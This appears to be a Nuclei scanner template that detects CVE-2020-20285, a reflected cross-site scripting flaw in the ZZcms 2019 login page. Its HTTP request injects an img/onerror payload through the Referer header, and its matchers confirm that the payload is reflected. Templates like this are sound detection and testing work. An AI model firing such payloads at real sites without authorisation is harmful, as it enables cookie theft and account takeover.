52 lines
1.6 KiB
YAML
52 lines
1.6 KiB
YAML
id: CVE-2020-20285
|
|
|
|
info:
|
|
name: ZZcms - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: |
|
|
ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
|
|
remediation: |
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-20285
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2020-20285
|
|
cwe-id: CWE-79
|
|
epss-score: 0.0009
|
|
epss-percentile: 0.37845
|
|
cpe: cpe:2.3:a:zzcms:zzcms:2019:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: zzcms
|
|
product: zzcms
|
|
fofa-query: zzcms
|
|
tags: cve,cve2020,zzcms,xss
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /user/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: xss"/><img src="#" onerror="alert(document.domain)"/>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'fromurl" type="hidden" value="xss"/><img src="#" onerror="alert(document.domain)"/>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450220784d8259a491a9c60b458f3bb304bd0446e750082302d206ce325d1e88ac9d8b022100bd9181587b2813797bdf84482809d7367480cdfd3823c15546eaee89dc7560b0:922c64590222798bb761d5b6d8e72950 |